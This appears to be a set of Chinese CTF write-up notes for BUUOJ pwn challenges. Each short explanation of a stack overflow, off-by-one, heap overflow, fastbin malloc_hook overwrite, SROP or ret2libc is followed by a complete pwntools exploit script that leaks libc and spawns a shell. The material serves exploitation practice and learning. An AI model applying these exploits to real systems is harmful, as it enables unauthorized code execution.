题目:
pwnable_start:
关键词: 汇编,泄露ebp,调试
思路:
1.查看汇编代码得知题目信息,发现read处可0x14后可溢出
2.依靠其中的write,是根据esp来确定打印addr,选择覆盖ret地址为write那里,便能泄露出栈地地址
3.gdb调试,查看栈的地址与我们的payload的关系,其实就是esp+4的位置
4.构造shell代码,溢出跳转至shell
from pwn import*
r=remote('node3.buuoj.cn',29930)
#r=process('./start')
context.log_level = 'debug'
context.arch='i386'
sc=asm('''
push 0x68732f
push 0x6e69622f
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb
int 0x80
''')
r.recvuntil('CTF:')
r.send('a'*0x14+p32(0x08048087))
stack_addr=u32(r.recv(4))
print hex(stack_addr)
#gdb.attach(r)
r.send('a'*0x14+p32(stack_addr+0x14)+sc)
r.interactive()
wustctf2020_closed:
int close(int fd) 参数说明: fd:是需要关闭的文件描述符
这道题close(1),close(2)后开shell
关闭了标准输出,错误输出
把stdout重定向:exec 1>&0
将文件描述符 1 重定向到文件描述符 0
hitcontraining_heapcreator:
关键词: off-by-one,chunk extend,chunk overlap
思路: 这道题有个结构,申请一个堆会在bss段上也有一个0x20大小堆
里面存了 |申请堆的size|指向堆的指针|
根据这个指针,可以大作文章,加之还有off-by-one的漏洞
具体步骤:
1.利用off-by-one扩大chunksize,起码要包含0x20大小的chunk,感觉我也没怎么搞懂,反正就是
要精心构造,比如这题,free后来申请回来时,0x40能改0x20里面的指针与size
2.指针指向的是堆的地址,我们把它改成free_got的地址,再,show,就泄露了libc地址
3.由于指向的是free的got的地址,我们继续可以edit填入base+system,就劫持了freegot为system
4.再利用前面某个chunk填充的/bin/sh\x00执行free,就执行system(/bin/sh\x00)
注意点: 除了合理填充范围内,以外的最好不要乱改,就好比0x20大小的里size参数,要改正确
from pwn import *
local_file = './heapcreator'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn',26706 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------------------------
def create(size,content):
sla('Your choice :','1')
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)
def edit(index,content):
sla('Your choice :','2')
sla('Index :',str(index))
sla('Content of heap :',content)
def show(index):
sla('Your choice :','3')
sla('Index :',str(index))
def delete(index):
sla('Your choice :','4')
sla('Index :',str(index))
def exit():
sla('Your choice :','5')
#-----------------------------------------
free_got=elf.got['free']
create(0x18,'aaaa')
create(0x10,'bbbb')
edit(0,'/bin/sh\x00'+'a'*0x8+p64(0)+p8(0x41))
delete(1)
create(0x30,'a'*0x20+p64(0x30)+p64(free_got))
show(1)
ru('Content : ')
got=uu64(rc(6))
print hex(got)
base=got-libc.sym['free']
print hex(base)
#debug()
system=base+libc.sym['system']
#---------------------------------------
edit(1,p64(system))
delete(0)
#debug()
r.interactive()
0ctf_2017_babyheap:
这题是我做的第一个堆题,buu题目重复了
关键词: 堆溢出
思路:
1.运用堆溢出,伪造一个包含index1和2,大小的在unsortbin大小范围的块,free到unsortbin,然后申请其原来index1大小的块,main_arena附近的地址就会下移到index2的块,地址就能被dump出来。泄露了main_arena附近的地址
2.算出base=泄露addr-偏移-(ida里查看malloc_trim函数v22变量的值)
算出og,system
3.运用堆溢出,修改free后的fd,再allocate两次,就能分配道指定地址,因为要通过检查,所以地址为(malloc_hook-0x23)(偏移固定)
4.在malloc_hook的地址上填入og
5.执行allocate,就会带动shell
注意点: 我自己重做的时候接收malloc地址出错了
from pwn import *
#from LibcSearcher import *
local_file = './0ctf_2017_babyheap'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn',28122 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#-------------------------------------------------------------
def allocate(size):
sla('Command: ','1')
sla('Size: ',str(size))
def fill(index,size,content):
sla('Command: ','2')
sla('Index: ',str(index))
sla('Size: ',str(size))
sla('Content: ',content)
def free(index):
sla('Command: ','3')
sla('Index: ',str(index))
def dump(index):
sla('Command: ','4')
sla('Index: ',str(index))
#-------------------------------------------------------------
allocate(0x10)#0
allocate(0x60)#1
allocate(0x10)#2
allocate(0x10)#3
fill(0,0x20,'a'*0x10+p64(0)+p64(0x91))
free(1)
allocate(0x60)
dump(2)
ru('Content: ')
addr=uu64(ru('\x7f')[-6:])
print hex(addr)
base=addr-88-0x3C4B20
print hex(base)
system=base+libc.sym['system']
malloc_hook=base+libc.sym['__malloc_hook']
og=base+o_g_old[1]
#-----------------------------------------------------------
free(1)
fill(0,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
allocate(0x60)#1
allocate(0x60)#4
fill(4,0x18+3,p64(0)*2+p8(0)*3+p64(og))
allocate(0x1)
#debug()
r.interactive()
ciscn_2019_es_7:
关键词: SROP
遇到有syscall,且不好找gadget的情况,考虑SROP
思路:
这题暗示明显,gadget里面有0xf,和0x3b赋值给rax,分别对应sigreturn,和execve
具体步骤:
1.靠write泄露栈的地址,gdb调试得到padding与栈的地址的偏移
可以find ‘/bin/sh’就能找到位置之间的偏移
2.rop调用sigreturn,后再填个sigframe
from pwn import*
r=remote('node3.buuoj.cn',25062)
context.arch='amd64'
#r=process('./ciscn_2019_es_7')
syscall_ret=0x400517
read=0x4004F1
context.log_level = 'debug'
mov_rax_sigreturn=0x4004DA
mov_rax_execve=0x4004E2
#gdb.attach(r)
r.send('/bin/sh\x00'+'\x00'*8+p64(read))
r.recv(0x20)
stack_addr=u64(r.recv(8))
print hex(stack_addr)
#gdb.attach(r)
r.recv(8)
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack_addr-0x118
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=stack_addr
sigframe.rip=syscall_ret
#gdb.attach(r)
r.send('/bin/sh\x00'+'\x00'*8+p64(mov_rax_sigreturn)+p64(syscall_ret)+str(sigframe))
r.interactive()
记一下,要重做一下ciscn_2019_s_3
jarvisoj_level5:
**关键词:**ROP
思路:
1.ret2libc即可
注意点:
write的第三个参数pop_rdx找不到,所以断点设在第一次send前,查看rdx寄存器的值,我发现是400,就不用管了
from pwn import*
r=remote('node3.buuoj.cn',27831)
#r=process('./level3_x64')
context.log_level = 'debug'
elf=ELF('./level3_x64')
libc=ELF('./libc-2.23.so')
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
r.send('a'*0x80+'b'*8+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.sym['write'])+p64(elf.sym['main']))
got=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(got)
base=got-libc.sym['write']
print hex(base)
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
og=base+o_g_old[2]
r.recvuntil('Input:\n')
r.send('a'*0x80+'b'*8+p64(og))
#gdb.attach(r)
r.interactive()
hitcontraining_bamboobox:
关键词: 堆溢出
思路: 起码还有两种方法,unlink,House of Force,我这种我也不知道叫啥
这里我利用思路和上面0ctf几乎一致
就不细讲了
注意点: 我本来realloc那里和og位置填错了,卡了一会,
应该填的是 , malloc_hook前一个的realloc填og,而原本的malloc_hook中写realloc中push的地址
from pwn import *
local_file = './bamboobox'
local_libc = './libc-2.23.so'
remote_libc = './libc-2.23.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn',27318 )
libc = ELF(remote_libc)
elf = ELF(local_file)
#context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#-----------------------------------------------------------------
def show():
sla('Your choice:','1')
def add(length,name):
sla('Your choice:','2')
sla('Please enter the length of item name:',str(length))
sa('Please enter the name of item:',name)
def edit(index,length,name):
sla('Your choice:','3')
sla('Please enter the index of item:',str(index))
sa('Please enter the length of item name:',str(length))
sla('Please enter the new name of the item:',name)
def delete(index):
sla('Your choice:','4')
sla('Please enter the index of item:',str(index))
def exit():
sla('Your choice:','5')
#-----------------------------------------------------------------
add(0x10,'aaaa')#0
add(0x60,'bbbb')#1
add(0x10,'cccc')#2
add(0x10,'dddd')#3
edit(0,0x20,'a'*0x10+p64(0)+p64(0x91))
delete(1)
add(0x60,'haha')#1
show()
main_arena_beside=uu64(ru('\x7f')[-6:])
print hex(main_arena_beside)
base=main_arena_beside-88-0x3C4B20
print hex(base)
og=base+o_g_old[1]
malloc_hook=base+libc.sym['__malloc_hook']
realloc=base + libc.sym['realloc']
#----------------------------------------------------------------
delete(1)
edit(0,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60,'hahaha')
add(0x60,p8(0)*3+p64(0)+p64(og)+p64(realloc+10))
sla('Your choice:','2')
sa('Please enter the length of item name:','100')
#debug()
r.interactive()
先这样